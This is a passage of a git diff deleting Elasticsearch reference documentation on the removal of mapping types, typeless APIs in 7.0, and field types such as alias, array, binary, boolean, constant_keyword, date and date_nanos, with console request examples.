-      }
-    }
-  }
-}
-
-
-POST _reindex
-{
-  "source": {
-    "index": "twitter"
-  },
-  "dest": {
-    "index": "new_twitter"
-  },
-  "script": {
-    "source": """
-      ctx._source.type = ctx._type;
-      ctx._id = ctx._type + '-' + ctx._id;
-      ctx._type = '_doc';
-    """
-  }
-}
-----
-// NOTCONSOLE
-
-[discrete]
-=== Typeless APIs in 7.0
-
-In Elasticsearch 7.0, each API will support typeless requests,
-and specifying a type will produce a deprecation warning.
-
-NOTE: Typeless APIs work even if the target index contains a custom type.
-For example, if an index has the custom type name `my_type`, we can add
-documents to it using typeless `index` calls, and load documents with typeless
-`get` calls.
-
-[discrete]
-==== Index APIs
-
-Index creation, index template, and mapping APIs support a new `include_type_name`
-URL parameter that specifies whether mapping definitions in requests and responses
-should contain the type name. The parameter defaults to `true` in version 6.8 to
-match the pre-7.0 behavior of using type names in mappings. It defaults to `false`
-in version 7.0 and will be removed in version 8.0.
-
-It should be set explicitly in 6.8 to prepare to upgrade to 7.0. To avoid deprecation
-warnings in 6.8, the parameter can be set to either `true` or `false`. In 7.0, setting
-`include_type_name` at all will result in a deprecation warning.
-
-See some examples of interactions with Elasticsearch with this option set to `false`:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001?include_type_name=false
-{
-  "mappings": {
-    "properties": { <1>
-      "foo": {
-        "type": "keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Mappings are included directly under the `mappings` key, without a type name.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_mappings?include_type_name=false
-{
-  "properties": { <1>
-    "bar": {
-      "type": "text"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> Mappings are included directly under the `mappings` key, without a type name.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_mappings?include_type_name=false
---------------------------------------------------
-// TEST[continued]
-
-The above call returns
-
-[source,console-result]
---------------------------------------------------
-{
-  "my-index-000001": {
-    "mappings": {
-      "properties": { <1>
-        "foo": {
-          "type": "keyword"
-        },
-        "bar": {
-          "type": "text"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Mappings are included directly under the `mappings` key, without a type name.
-
-[discrete]
-==== Document APIs
-
-In 7.0, index APIs must be called with the `{index}/_doc` path for automatic
-generation of the `_id` and `{index}/_doc/{id}` with explicit ids.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_doc/1
-{
-  "foo": "baz"
-}
---------------------------------------------------
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index-000001",
-  "_id": "1",
-  "_type": "_doc",
-  "_version": 1,
-  "result": "created",
-  "_shards": {
-    "total": 2,
-    "successful": 1,
-    "failed": 0
-  },
-  "_seq_no": 0,
-  "_primary_term": 1
-}
---------------------------------------------------
-
-Similarly, the `get` and `delete` APIs use the path `{index}/_doc/{id}`:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_doc/1
---------------------------------------------------
-// TEST[continued]
-
-NOTE: In 7.0, `_doc` represents the endpoint name instead of the document type.
-The `_doc` component is a permanent part of the path for the document `index`,
-`get`, and `delete` APIs going forward, and will not be removed in 8.0.
-
-For API paths that contain both a type and endpoint name like `_update`,
-in 7.0 the endpoint will immediately follow the index name:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_update/1
-{
-  "doc" : {
-    "foo" : "qux"
-  }
-}
-
-GET /my-index-000001/_source/1
---------------------------------------------------
-// TEST[continued]
-
-Types should also no longer appear in the body of requests. The following
-example of bulk indexing omits the type both in the URL, and in the individual
-bulk commands:
-
-[source,console]
---------------------------------------------------
-POST _bulk
-{ "index" : { "_index" : "my-index-000001", "_id" : "3" } }
-{ "foo" : "baz" }
-{ "index" : { "_index" : "my-index-000001", "_id" : "4" } }
-{ "foo" : "qux" }
---------------------------------------------------
-
-[discrete]
-==== Search APIs
-
-When calling a search API such `_search`, `_msearch`, or `_explain`, types
-should not be included in the URL. Additionally, the `_type` field should not
-be used in queries, aggregations, or scripts.
-
-[discrete]
-==== Types in responses
-
-The document and search APIs will continue to return a `_type` key in
-responses, to avoid breaks to response parsing. However, the key is
-considered deprecated and should no longer be referenced. Types will
-be completely removed from responses in 8.0.
-
-Note that when a deprecated typed API is used, the index's mapping type will be
-returned as normal, but that typeless APIs will return the dummy type `_doc`
-in the response. For example, the following typeless `get` call will always
-return `_doc` as the type, even if the mapping has a custom type name like
-`my_type`:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/my_type/1
-{
-  "foo": "baz"
-}
-
-GET /my-index-000001/_doc/1
---------------------------------------------------
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "my-index-000001",
-  "_type" : "_doc",
-  "_id" : "1",
-  "_version" : 1,
-  "_seq_no" : 0,
-  "_primary_term" : 1,
-  "found": true,
-  "_source" : {
-    "foo" : "baz"
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Index templates
-
-It is recommended to make index templates typeless by re-adding them with
-`include_type_name` set to `false`. Under the hood, typeless templates will use
-the dummy type `_doc` when creating indices.
-
-In case typeless templates are used with typed index creation calls or typed
-templates are used with typeless index creation calls, the template will still
-be applied but the index creation call decides whether there should be a type
-or not. For instance in the below example, `index-1-01` will have a type in
-spite of the fact that it matches a template that is typeless, and `index-2-01`
-will be typeless in spite of the fact that it matches a template that defines
-a type. Both `index-1-01` and `index-2-01` will inherit the `foo` field from
-the template that they match.
-
-[source,console]
---------------------------------------------------
-PUT _template/template1
-{
-  "index_patterns":[ "index-1-*" ],
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-PUT _template/template2?include_type_name=true
-{
-  "index_patterns":[ "index-2-*" ],
-  "mappings": {
-    "type": {
-      "properties": {
-        "foo": {
-          "type": "keyword"
-        }
-      }
-    }
-  }
-}
-
-PUT index-1-01?include_type_name=true
-{
-  "mappings": {
-    "type": {
-      "properties": {
-        "bar": {
-          "type": "long"
-        }
-      }
-    }
-  }
-}
-
-PUT index-2-01
-{
-  "mappings": {
-    "properties": {
-      "bar": {
-        "type": "long"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_template/template1
-DELETE /_template/template2
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-In case of implicit index creation, because of documents that get indexed in
-an index that doesn't exist yet, the template is always honored. This is
-usually not a problem due to the fact that typeless index calls work on typed
-indices.
-
-[discrete]
-==== Mixed-version clusters
-
-In a cluster composed of both 6.8 and 7.0 nodes, the parameter
-`include_type_name` should be specified in index APIs like index
-creation. This is because the parameter has a different default between
-6.8 and 7.0, so the same mapping definition will not be valid for both
-node versions.
-
-Typeless document APIs such as `bulk` and `update` are only available as of
-7.0, and will not work with 6.8 nodes. This also holds true for the typeless
-versions of queries that perform document lookups, such as `terms`.
diff --git a/docs/reference/mapping/types.asciidoc b/docs/reference/mapping/types.asciidoc
deleted file mode 100644
index 4cce14ea7f5..00000000000
--- a/docs/reference/mapping/types.asciidoc
+++ /dev/null
@@ -1,186 +0,0 @@
-[[mapping-types]]
-== Field data types
-
-Each field has a _field data type_, or _field type_. This type indicates the
-kind of data the field contains, such as strings or boolean values, and its
-intended use. For example, you can index strings to both `text` and `keyword`
-fields. However, `text` field values are <<analysis,analyzed>> for full-text
-search while `keyword` strings are left as-is for filtering and sorting.
-
-Field types are grouped by _family_. Types in the same family support the same
-search functionality but may have different space usage or performance
-characteristics.
-
-Currently, the only type family is `keyword`, which consists of the `keyword`,
-`constant_keyword`, and `wildcard` field types. Other type families have only a
-single field type. For example, the `boolean` type family consists of one field
-type: `boolean`.
-
-
-[discrete]
-[[_core_datatypes]]
-==== Common types
-
-<<binary,`binary`>>::   Binary value encoded as a Base64 string.
-<<boolean,`boolean`>>:: `true` and `false` values.
-<<keyword, Keywords>>:: The keyword family, including `keyword`, `constant_keyword`,
-                        and `wildcard`.
-<<number,Numbers>>::    Numeric types, such as `long` and `double`, used to
-                        express amounts.
-Dates::                 Date types, including <<date,`date`>> and
-                        <<date_nanos,`date_nanos`>>.
-<<alias,`alias`>>::     Defines an alias for an existing field.
-
-
-[discrete]
-[[object-types]]
-==== Objects and relational types
-
-<<object,`object`>>::         A JSON object.
-<<flattened,`flattened`>>::   An entire JSON object as a single field value.
-<<nested,`nested`>>::         A JSON object that preserves the relationship
-                              between its subfields.
-<<parent-join,`join`>>::      Defines a parent/child relationship for documents
-                              in the same index.
-
-
-[discrete]
-[[structured-data-types]]
-==== Structured data types
-
-<<range,Range>>::   Range types, such as `long_range`, `double_range`,
-                    `date_range`, and `ip_range`.
-<<ip,`ip`>>::       IPv4 and IPv6 addresses.
-<<version,`version`>>::  Software versions. Supports https://semver.org/[Semantic Versioning]
-precedence rules.
-{plugins}/mapper-murmur3.html[`murmur3`]:: Compute and stores hashes of
-values.
-
-
-[discrete]
-[[aggregated-data-types]]
-==== Aggregate data types
-
-<<histogram,`histogram`>>:: Pre-aggregated numerical values.
-
-
-[discrete]
-[[text-search-types]]
-==== Text search types
-
-<<text,`text`>>:: Analyzed, unstructured text.
-{plugins}/mapper-annotated-text.html[`annotated-text`]:: Text containing special
-markup. Used for identifying named entities.
-<<completion-suggester,`completion`>>:: Used for auto-complete suggestions.
-<<search-as-you-type,`search_as_you_type`>>:: `text`-like type for
-as-you-type completion.
-<<token-count,`token_count`>>:: A count of tokens in a text.
-
-
-[discrete]
-[[document-ranking-types]]
-==== Document ranking types
-
-<<dense-vector,`dense_vector`>>::   Records dense vectors of float values.
-<<sparse-vector,`sparse_vector`>>:: Records sparse vectors of float values.
-<<rank-feature,`rank_feature`>>::   Records a numeric feature to boost hits at
-                                    query time.
-<<rank-features,`rank_features`>>:: Records numeric features to boost hits at
-                                    query time.
-
-
-[discrete]
-[[spatial_datatypes]]
-==== Spatial data types
-
-<<geo-point,`geo_point`>>::     Latitude and longitude points.
-<<geo-shape,`geo_shape`>>::     Complex shapes, such as polygons.
-<<point,`point`>>::             Arbitrary cartesian points.
-<<shape,`shape`>>::             Arbitrary cartesian geometries.
-
-
-[discrete]
-[[other-types]]
-==== Other types
-
-<<percolator,`percolator`>>::   Indexes queries written in <<query-dsl,Query DSL>>.
-
-
-[discrete]
-[[types-array-handling]]
-=== Arrays
-In {es}, arrays do not require a dedicated field data type. Any field can contain
-zero or more values by default, however, all values in the array must be of the
-same field type. See <<array>>.
-
-[discrete]
-=== Multi-fields
-
-It is often useful to index the same field in different ways for different
-purposes. For instance, a `string` field could be mapped as
-a `text` field for full-text search, and as a `keyword` field for
-sorting or aggregations.  Alternatively, you could index a text field with
-the <<analysis-standard-analyzer,`standard` analyzer>>, the
-<<english-analyzer,`english`>> analyzer, and the
-<<french-analyzer,`french` analyzer>>.
-
-This is the purpose of _multi-fields_. Most field types support multi-fields
-via the <<multi-fields>> parameter.
-
-include::types/alias.asciidoc[]
-
-include::types/array.asciidoc[]
-
-include::types/binary.asciidoc[]
-
-include::types/boolean.asciidoc[]
-
-include::types/date.asciidoc[]
-
-include::types/date_nanos.asciidoc[]
-
-include::types/dense-vector.asciidoc[]
-
-include::types/flattened.asciidoc[]
-
-include::types/geo-point.asciidoc[]
-
-include::types/geo-shape.asciidoc[]
-
-include::types/histogram.asciidoc[]
-
-include::types/ip.asciidoc[]
-
-include::types/parent-join.asciidoc[]
-
-include::types/keyword.asciidoc[]
-
-include::types/nested.asciidoc[]
-
-include::types/numeric.asciidoc[]
-
-include::types/object.asciidoc[]
-
-include::types/percolator.asciidoc[]
-
-include::types/point.asciidoc[]
-
-include::types/range.asciidoc[]
-
-include::types/rank-feature.asciidoc[]
-
-include::types/rank-features.asciidoc[]
-
-include::types/search-as-you-type.asciidoc[]
-
-include::types/shape.asciidoc[]
-
-include::types/sparse-vector.asciidoc[]
-
-include::types/text.asciidoc[]
-
-include::types/token-count.asciidoc[]
-
-include::types/unsigned_long.asciidoc[]
-
-include::types/version.asciidoc[]
diff --git a/docs/reference/mapping/types/alias.asciidoc b/docs/reference/mapping/types/alias.asciidoc
deleted file mode 100644
index 78d9b749721..00000000000
--- a/docs/reference/mapping/types/alias.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-[[alias]]
-=== Alias field type
-++++
-<titleabbrev>Alias</titleabbrev>
-++++
-
-An `alias` mapping defines an alternate name for a field in the  index.
-The alias can be used in place of the target field in <<search, search>> requests,
-and selected other APIs like <<search-field-caps, field capabilities>>.
-
-[source,console]
---------------------------------
-PUT trips
-{
-  "mappings": {
-    "properties": {
-      "distance": {
-        "type": "long"
-      },
-      "route_length_miles": {
-        "type": "alias",
-        "path": "distance" <1>
-      },
-      "transit_mode": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-GET _search
-{
-  "query": {
-    "range" : {
-      "route_length_miles" : {
-        "gte" : 39
-      }
-    }
-  }
-}
---------------------------------
-
-<1> The path to the target field. Note that this must be the full path, including any parent
-objects (e.g. `object1.object2.field`).
-
-Almost all components of the search request accept field aliases. In particular, aliases can be
-used in queries, aggregations, and sort fields, as well as when requesting `docvalue_fields`,
-`stored_fields`, suggestions, and highlights. Scripts also support aliases when accessing
-field values. Please see the section on <<unsupported-apis, unsupported APIs>> for exceptions.
-
-In some parts of the search request and when requesting field capabilities, field wildcard patterns can be
-provided. In these cases, the wildcard pattern will match field aliases in addition to concrete fields:
-
-[source,console]
---------------------------------
-GET trips/_field_caps?fields=route_*,transit_mode
---------------------------------
-// TEST[continued]
-
-[[alias-targets]]
-==== Alias targets
-
-There are a few restrictions on the target of an alias:
-
-  * The target must be a concrete field, and not an object or another field alias.
-  * The target field must exist at the time the alias is created.
-  * If nested objects are defined, a field alias must have the same nested scope as its target.
-
-Additionally, a field alias can only have one target. This means that it is not possible to use a
-field alias to query over multiple target fields in a single clause.
-
-An alias can be changed to refer to a new target through a mappings update. A known limitation is that
-if any stored percolator queries contain the field alias, they will still refer to its original target.
-More information can be found in the <<percolator, percolator documentation>>.
-
-[[unsupported-apis]]
-==== Unsupported APIs
-
-Writes to field aliases are not supported: attempting to use an alias in an index or update request
-will result in a failure. Likewise, aliases cannot be used as the target of `copy_to` or in multi-fields.
-
-Because alias names are not present in the document source, aliases cannot be used when performing
-source filtering. For example, the following request will return an empty result for `_source`:
-
-[source,console]
---------------------------------
-GET /_search
-{
-  "query" : {
-    "match_all": {}
-  },
-  "_source": "route_length_miles"
-}
---------------------------------
-// TEST[continued]
-
-Currently only the search and field capabilities APIs will accept and resolve field aliases.
-Other APIs that accept field names, such as <<docs-termvectors, term vectors>>, cannot be used
-with field aliases.
-
-Finally, some queries, such as `terms`, `geo_shape`, and `more_like_this`, allow for fetching query
-information from an indexed document. Because field aliases aren't supported when fetching documents,
-the part of the query that specifies the lookup path cannot refer to a field by its alias.
\ No newline at end of file
diff --git a/docs/reference/mapping/types/array.asciidoc b/docs/reference/mapping/types/array.asciidoc
deleted file mode 100644
index 38eabb14c19..00000000000
--- a/docs/reference/mapping/types/array.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[[array]]
-=== Arrays
-
-In Elasticsearch, there is no dedicated `array` data type.  Any field can contain
-zero or more values by default, however, all values in the array must be of the
-same data type. For instance:
-
-* an array of strings: [ `"one"`, `"two"` ]
-* an array of integers: [ `1`, `2` ]
-* an array of arrays: [ `1`, [ `2`, `3` ]] which is the equivalent of [ `1`, `2`, `3` ]
-* an array of objects: [ `{ "name": "Mary", "age": 12 }`, `{ "name": "John", "age": 10 }`]
-
-.Arrays of objects
-[NOTE]
-====================================================
-
-Arrays of objects do not work as you would expect: you cannot query each
-object independently of the other objects in the array.  If you need to be
-able to do this then you should use the <<nested,`nested`>> data type instead
-of the <<object,`object`>> data type.
-
-This is explained in more detail in <<nested>>.
-====================================================
-
-
-When adding a field dynamically, the first value in the array determines the
-field `type`.  All subsequent values must be of the same data type or it must
-at least be possible to <<coerce,coerce>> subsequent values to the same
-data type.
-
-Arrays with a mixture of data types are _not_ supported: [ `10`, `"some string"` ]
-
-An array may contain `null` values, which are either replaced by the
-configured <<null-value,`null_value`>> or skipped entirely.  An empty array
-`[]` is treated as a missing field -- a field with no values.
-
-Nothing needs to be pre-configured in order to use arrays in documents, they
-are supported out of the box:
-
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "message": "some arrays in this document...",
-  "tags":  [ "elasticsearch", "wow" ], <1>
-  "lists": [ <2>
-    {
-      "name": "prog_list",
-      "description": "programming list"
-    },
-    {
-      "name": "cool_list",
-      "description": "cool stuff list"
-    }
-  ]
-}
-
-PUT my-index-000001/_doc/2 <3>
-{
-  "message": "no arrays in this document...",
-  "tags":  "elasticsearch",
-  "lists": {
-    "name": "prog_list",
-    "description": "programming list"
-  }
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "tags": "elasticsearch" <4>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `tags` field is dynamically added as a `string` field.
-<2> The `lists` field is dynamically added as an `object` field.
-<3> The second document contains no arrays, but can be indexed into the same fields.
-<4> The query looks for `elasticsearch` in the `tags` field, and matches both documents.
-
-[[multi-value-fields-inverted-index]]
-.Multi-value fields and the inverted index
-****************************************************
-
-The fact that all field types support multi-value fields out of the box is a
-consequence of the origins of Lucene.  Lucene was designed to be a full text
-search engine.  In order to be able to search for individual words within a
-big block of text, Lucene tokenizes the text into individual terms, and
-adds each term to the inverted index separately.
-
-This means that even a simple text field must be able to support multiple
-values by default.  When other data types were added, such as numbers and
-dates, they used the same data structure as strings, and so got multi-values
-for free.
-
-****************************************************
-
diff --git a/docs/reference/mapping/types/binary.asciidoc b/docs/reference/mapping/types/binary.asciidoc
deleted file mode 100644
index 032e7e6e1b5..00000000000
--- a/docs/reference/mapping/types/binary.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[[binary]]
-=== Binary field type
-++++
-<titleabbrev>Binary</titleabbrev>
-++++
-
-The `binary` type accepts a binary value as a
-{wikipedia}/Base64[Base64] encoded string. The field is not
-stored by default and is not searchable:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "name": {
-        "type": "text"
-      },
-      "blob": {
-        "type": "binary"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "name": "Some binary blob",
-  "blob": "U29tZSBiaW5hcnkgYmxvYg==" <1>
-}
---------------------------------------------------
-
-<1> The Base64 encoded binary value must not have embedded newlines `\n`.
-
-[[binary-params]]
-==== Parameters for `binary` fields
-
-The following parameters are accepted by `binary` fields:
-
-[horizontal]
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    or `false` (default).
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
diff --git a/docs/reference/mapping/types/boolean.asciidoc b/docs/reference/mapping/types/boolean.asciidoc
deleted file mode 100644
index 01650ef118b..00000000000
--- a/docs/reference/mapping/types/boolean.asciidoc
+++ /dev/null
@@ -1,125 +0,0 @@
-[[boolean]]
-=== Boolean field type
-++++
-<titleabbrev>Boolean</titleabbrev>
-++++
-
-Boolean fields accept JSON `true` and `false` values, but can also accept
-strings which are interpreted as either true or false:
-
-[horizontal]
-False values::
-
-    `false`, `"false"`, `""` (empty string)
-
-True values::
-
-    `true`, `"true"`
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "is_published": {
-        "type": "boolean"
-      }
-    }
-  }
-}
-
-POST my-index-000001/_doc/1
-{
-  "is_published": "true" <1>
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "is_published": true <2>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Indexing a document with `"true"`, which is interpreted as `true`.
-<2> Searching for documents with a JSON `true`.
-
-Aggregations like the <<search-aggregations-bucket-terms-aggregation,`terms`
-aggregation>>  use `1` and `0` for the `key`, and the strings `"true"` and
-`"false"` for the `key_as_string`. Boolean fields  when used in scripts,
-return `1` and `0`:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_doc/1
-{
-  "is_published": true
-}
-
-POST my-index-000001/_doc/2
-{
-  "is_published": false
-}
-
-GET my-index-000001/_search
-{
-  "aggs": {
-    "publish_state": {
-      "terms": {
-        "field": "is_published"
-      }
-    }
-  },
-  "script_fields": {
-    "is_published": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['is_published'].value"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[boolean-params]]
-==== Parameters for `boolean` fields
-
-The following parameters are accepted by `boolean` fields:
-
-[horizontal]
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) and `false`.
-
-<<null-value,`null_value`>>::
-
-    Accepts any of the true or false values listed above. The value is
-    substituted for any explicit `null` values.  Defaults to `null`, which
-    means the field is treated as missing.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
diff --git a/docs/reference/mapping/types/constant-keyword.asciidoc b/docs/reference/mapping/types/constant-keyword.asciidoc
deleted file mode 100644
index 20d394308ba..00000000000
--- a/docs/reference/mapping/types/constant-keyword.asciidoc
+++ /dev/null
@@ -1,88 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-
-[discrete]
-[[constant-keyword-field-type]]
-=== Constant keyword field type
-
-Constant keyword is a specialization of the `keyword` field for
-the case that all documents in the index have the same value.
-
-[source,console]
---------------------------------
-PUT logs-debug
-{
-  "mappings": {
-    "properties": {
-      "@timestamp": {
-        "type": "date"
-      },
-      "message": {
-        "type": "text"
-      },
-      "level": {
-        "type": "constant_keyword",
-        "value": "debug"
-      }
-    }
-  }
-}
---------------------------------
-
-`constant_keyword` supports the same queries and aggregations as `keyword`
-fields do, but takes advantage of the fact that all documents have the same
-value per index to execute queries more efficiently.
-
-It is both allowed to submit documents that don't have a value for the field or
-that have a value equal to the value configured in mappings. The two below
-indexing requests are equivalent:
-
-[source,console]
---------------------------------
-POST logs-debug/_doc
-{
-  "date": "2019-12-12",
-  "message": "Starting up Elasticsearch",
-  "level": "debug"
-}
-
-POST logs-debug/_doc
-{
-  "date": "2019-12-12",
-  "message": "Starting up Elasticsearch"
-}
---------------------------------
-//TEST[continued]
-
-However providing a value that is different from the one configured in the
-mapping is disallowed.
-
-In case no `value` is provided in the mappings, the field will automatically
-configure itself based on the value contained in the first indexed document.
-While this behavior can be convenient, note that it means that a single
-poisonous document can cause all other documents to be rejected if it had a
-wrong value.
-
-Before a value has been provided (either through the mappings or from a
-document), queries on the field will not match any documents. This includes
- <<query-dsl-exists-query,`exists`>> queries.
-
-The `value` of the field cannot be changed after it has been set.
-
-[discrete]
-[[constant-keyword-params]]
-==== Parameters for constant keyword fields
-
-The following mapping parameters are accepted:
-
-[horizontal]
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
-
-`value`::
-
-    The value to associate with all documents in the index. If this parameter
-    is not provided, it is set based on the first document that gets indexed.
-
diff --git a/docs/reference/mapping/types/date.asciidoc b/docs/reference/mapping/types/date.asciidoc
deleted file mode 100644
index 65336772562..00000000000
--- a/docs/reference/mapping/types/date.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[[date]]
-=== Date field type
-++++
-<titleabbrev>Date</titleabbrev>
-++++
-
-JSON doesn't have a date data type, so dates in Elasticsearch can either be:
-
-* strings containing formatted dates, e.g. `"2015-01-01"` or `"2015/01/01 12:10:30"`.
-* a long number representing _milliseconds-since-the-epoch_.
-* an integer representing _seconds-since-the-epoch_.
-
-NOTE: Values for _milliseconds-since-the-epoch_ and _seconds-since-the-epoch_
-must be non-negative. Use a formatted date to represent dates before 1970.
-
-Internally, dates are converted to UTC (if the time-zone is specified) and
-stored as a long number representing milliseconds-since-the-epoch.
-
-Queries on dates are internally converted to range queries on this long
-representation, and the result of aggregations and stored fields is converted
-back to a string depending on the date format that is associated with the field.
-
-NOTE: Dates will always be rendered as strings, even if they were initially
-supplied as a long in the JSON document.
-
-Date formats can be customised, but if no `format` is specified then it uses
-the default:
-
-    "strict_date_optional_time||epoch_millis"
-
-This means that it will accept dates with optional timestamps, which conform
-to the formats supported by <<strict-date-time,`strict_date_optional_time`>>
-or milliseconds-since-the-epoch.
-
-For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "date": {
-        "type": "date" <1>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{ "date": "2015-01-01" } <2>
-
-PUT my-index-000001/_doc/2
-{ "date": "2015-01-01T12:10:30Z" } <3>
-
-PUT my-index-000001/_doc/3
-{ "date": 1420070400001 } <4>
-
-GET my-index-000001/_search
-{
-  "sort": { "date": "asc"} <5>
-}
---------------------------------------------------
-
-<1> The `date` field uses the default `format`.
-<2> This document uses a plain date.
-<3> This document includes a time.
-<4> This document uses milliseconds-since-the-epoch.
-<5> Note that the `sort` values that are returned are all in milliseconds-since-the-epoch.
-
-[[multiple-date-formats]]
-==== Multiple date formats
-
-Multiple formats can be specified by separating them with `||` as a separator.
-Each format will be tried in turn until a matching format is found.  The first
-format will be used to convert the _milliseconds-since-the-epoch_ value back
-into a string.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "date": {
-        "type":   "date",
-        "format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[date-params]]
-==== Parameters for `date` fields
-
-The following parameters are accepted by `date` fields:
-
-[horizontal]
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<mapping-date-format,`format`>>::
-
-    The date format(s) that can be parsed.  Defaults to
-    `strict_date_optional_time||epoch_millis`.
-
-`locale`::
-
-    The locale to use when parsing dates since months do not have the same names
-    and/or abbreviations in all languages. The default is the
-    https://docs.oracle.com/javase/8/docs/api/java/util/Locale.html#ROOT[`ROOT` locale],
-
-<<ignore-malformed,`ignore_malformed`>>::
-
-    If `true`, malformed numbers are ignored. If `false` (default), malformed
-    numbers throw an exception and reject the whole document.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) and `false`.
-
-<<null-value,`null_value`>>::
-
-    Accepts a date value in one of the configured +format+'s as the field
-    which is substituted for any explicit `null` values.  Defaults to `null`,
-    which means the field is treated as missing.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
diff --git a/docs/reference/mapping/types/date_nanos.asciidoc b/docs/reference/mapping/types/date_nanos.asciidoc
deleted file mode 100644
index 26961cac1e2..00000000000
--- a/docs/reference/mapping/types/date_nanos.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[[date_nanos]]
-=== Date nanoseconds field type
-++++
-<titleabbrev>Date nanoseconds</titleabbrev>
-++++
-
-This data type is an addition to the `date` data type. However there is an
-important distinction between the two. The existing `date` data type stores
-dates in millisecond resolution. The `date_nanos` data type stores dates
-in nanosecond resolution, which limits its range of dates from roughly
-1970 to 2262, as dates are still stored as a long representing nanoseconds
-since the epoch.
-
-Queries on nanoseconds are internally converted to range queries on this long
-representation, and the result of aggregations and stored fields is converted
-back to a string depending on the date format that is associated with the field.
-
-Date formats can be customised, but if no `format` is specified then it uses
-the default:
-
-    "strict_date_optional_time||epoch_millis"
-
-This means that it will accept dates with optional timestamps, which conform
-to the formats supported by
-<<strict-date-time,`strict_date_optional_time`>> including up to nine second
-fractionals or milliseconds-since-the-epoch (thus losing precision on the
-nano second part). Using <<strict-date-time,`strict_date_optional_time`>> will 
-format the result up to only three second fractionals. To
-print and parse up to nine digits of resolution, use <<strict-date-time-nanos,`strict_date_optional_time_nanos`>>.
-
-For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001?include_type_name=true
-{
-  "mappings": {
-    "_doc": {
-      "properties": {
-        "date": {
-          "type": "date_nanos" <1>
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{ "date": "2015-01-01" } <2>
-
-PUT my-index-000001/_doc/2
-{ "date": "2015-01-01T12:10:30.123456789Z" } <3>
-
-PUT my-index-000001/_doc/3
-{ "date": 1420070400 } <4>
-
-GET my-index-000001/_search
-{
-  "sort": { "date": "asc"} <5>
-}
-
-GET my-index-000001/_search
-{
-  "script_fields" : {
-    "my_field" : {
-      "script" : {
-        "lang" : "painless",
-        "source" : "doc['date'].value.nano" <6>
-      }
-    }
-  }
-}
-
-GET my-index-000001/_search
-{
-  "docvalue_fields" : [
-    {
-      "field" : "date",
-      "format": "strict_date_time" <7>
-    }
-  ]
-}
---------------------------------------------------
-
-<1> The `date` field uses the default `format`.
-<2> This document uses a plain date.
-<3> This document includes a time.
-<4> This document uses milliseconds-since-the-epoch.
